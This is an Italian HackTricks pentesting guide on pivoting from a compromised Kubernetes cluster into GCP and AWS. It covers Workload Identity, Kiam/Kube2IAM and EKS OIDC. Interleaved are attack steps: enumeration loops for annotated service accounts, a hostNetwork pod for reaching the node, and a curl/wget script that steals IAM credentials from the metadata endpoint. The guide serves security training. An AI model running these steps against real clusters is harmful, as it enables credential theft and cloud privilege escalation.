Kubernetes Pivoting to Clouds

Reading time: 12 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

GCP

Se stai eseguendo un cluster k8s all'interno di GCP, probabilmente vorrai che alcune applicazioni in esecuzione all'interno del cluster abbiano accesso a GCP. Ci sono 2 modi comuni per farlo:

Montare le chiavi GCP-SA come segreto

Un modo comune per dare accesso a un'applicazione kubernetes a GCP è:

  • Creare un GCP Service Account
  • Assegnare le autorizzazioni desiderate
  • Scaricare una chiave json del SA creato
  • Montarla come un segreto all'interno del pod
  • Impostare la variabile d'ambiente GOOGLE_APPLICATION_CREDENTIALS che punta al percorso in cui si trova il json.

warning

Pertanto, come attaccante, se comprometti un container all'interno di un pod, dovresti controllare quella variabile env e i file json con le credenziali GCP.

Relazionare il json GSA al segreto KSA

Un modo per dare accesso a un GSA a un cluster GKE è legarli in questo modo:

  • Creare un account di servizio Kubernetes nello stesso namespace del tuo cluster GKE utilizzando il seguente comando:
bash
Copy codekubectl create serviceaccount <service-account-name>
  • Crea un Secret di Kubernetes che contenga le credenziali dell'account di servizio GCP a cui desideri concedere accesso al cluster GKE. Puoi farlo utilizzando lo strumento da riga di comando gcloud, come mostrato nel seguente esempio:
bash
Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Collega il Kubernetes Secret all'account di servizio Kubernetes utilizzando il seguente comando:
bash
Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

warning

Nel secondo passaggio sono state impostate le credenziali del GSA come segreto del KSA. Quindi, se puoi leggere quel segreto dall'interno del cluster GKE, puoi escalare a quel servizio account GCP.

Identità del Carico di Lavoro GKE

Con l'Identità del Carico di Lavoro, possiamo configurare un Kubernetes service account per agire come un Google service account. I pod che girano con il Kubernetes service account si autenticheranno automaticamente come il Google service account quando accedono alle API di Google Cloud.

La prima serie di passaggi per abilitare questo comportamento è abilitare l'Identità del Carico di Lavoro in GCP (passaggi) e creare il GCP SA che vuoi che k8s impersoni.

  • Abilita l'Identità del Carico di Lavoro su un nuovo cluster
bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Crea/Aggiorna un nuovo nodepool (I cluster Autopilot non necessitano di questo)
bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Crea il GCP Service Account da impersonare da K8s con permessi GCP:
bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Connetti al cluster e crea l'account di servizio da utilizzare
bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Collegare il GSA con il KSA
bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Esegui un pod con il KSA e controlla l'accesso al GSA:
bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Controlla il seguente comando per autenticarti nel caso sia necessario:

bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

warning

Come attaccante all'interno di K8s dovresti cercare SAs con l'annotazione iam.gke.io/gcp-service-account poiché indica che l'SA può accedere a qualcosa in GCP. Un'altra opzione sarebbe cercare di abusare di ogni KSA nel cluster e controllare se ha accesso.
Da GCP è sempre interessante enumerare i binding e sapere quale accesso stai dando agli SAs all'interno di Kubernetes.

Questo è uno script per iterare facilmente su tutte le definizioni dei pod cercando quell'annotazione:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (ruolo IAM per i Pods)

Un modo (obsoleto) per dare ruoli IAM ai Pods è utilizzare un Kiam o un Kube2IAM server. Fondamentalmente, dovrai eseguire un daemonset nel tuo cluster con un tipo di ruolo IAM privilegiato. Questo daemonset sarà quello che darà accesso ai ruoli IAM ai pods che ne hanno bisogno.

Prima di tutto, devi configurare quali ruoli possono essere accessibili all'interno del namespace, e lo fai con un'annotazione all'interno dell'oggetto namespace:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Una volta che lo spazio dei nomi è configurato con i ruoli IAM che i Pod possono avere, puoi indicare il ruolo che desideri in ciascuna definizione del pod con qualcosa come:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

warning

Come attaccante, se trovi queste annotazioni nei pod o nei namespace o un server kiam/kube2iam in esecuzione (probabilmente in kube-system) puoi impersonare ogni ruolo che è già utilizzato dai pod e altro (se hai accesso all'account AWS elenca i ruoli).

Crea Pod con Ruolo IAM

note

Il ruolo IAM da indicare deve essere nello stesso account AWS del ruolo kiam/kube2iam e quel ruolo deve essere in grado di accedervi.

yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role per gli Account di Servizio K8s tramite OIDC

Questo è il modo raccomandato da AWS.

  1. Prima di tutto, è necessario creare un provider OIDC per il cluster.
  2. Poi si crea un ruolo IAM con i permessi di cui avrà bisogno l'SA.
  3. Creare una relazione di fiducia tra il ruolo IAM e l'SA nome (o i namespace che danno accesso al ruolo a tutti gli SA del namespace). La relazione di fiducia controllerà principalmente il nome del provider OIDC, il nome del namespace e il nome dell'SA.
  4. Infine, creare un SA con un'annotazione che indica l'ARN del ruolo, e i pod in esecuzione con quel SA avranno accesso al token del ruolo. Il token è scritto all'interno di un file e il percorso è specificato in AWS_WEB_IDENTITY_TOKEN_FILE (predefinito: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Per ottenere aws utilizzando il token da /var/run/secrets/eks.amazonaws.com/serviceaccount/token esegui:

bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

warning

Come attaccante, se puoi enumerare un cluster K8s, controlla per service accounts con quella annotazione per escalare a AWS. Per farlo, basta exec/create un pod utilizzando uno dei privileged service accounts IAM e rubare il token.

Inoltre, se sei all'interno di un pod, controlla le variabili d'ambiente come AWS_ROLE_ARN e AWS_WEB_IDENTITY_TOKEN.

caution

A volte la Trust Policy di un ruolo potrebbe essere mal configurata e invece di dare accesso AssumeRole al service account previsto, lo dà a tutti i service accounts. Pertanto, se sei in grado di scrivere un'annotazione su un service account controllato, puoi accedere al ruolo.

Controlla la seguente pagina per ulteriori informazioni:

AWS - Federation Abuse

Trova Pods e SAs con IAM Roles nel Cluster

Questo è uno script per iterare facilmente su tutti i pod e le definizioni di sas cercando quella annotazione:

bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

Node IAM Role

La sezione precedente riguardava come rubare i ruoli IAM con i pod, ma nota che un Node del cluster K8s sarà un istanza all'interno del cloud. Questo significa che è altamente probabile che il Node abbia un nuovo ruolo IAM che puoi rubare (nota che di solito tutti i nodi di un cluster K8s avranno lo stesso ruolo IAM, quindi potrebbe non valere la pena provare a controllare ogni nodo).

Tuttavia, c'è un requisito importante per accedere all'endpoint dei metadati dal nodo, devi essere nel nodo (sessione ssh?) o almeno avere la stessa rete:

bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Rubare il Token del Ruolo IAM

In precedenza abbiamo discusso di come allegare i Ruoli IAM ai Pod o addirittura di come fuggire al Nodo per rubare il Ruolo IAM che l'istanza ha ad esso allegato.

Puoi utilizzare il seguente script per rubare le tue nuove e faticosamente guadagnate credenziali del ruolo IAM:

bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks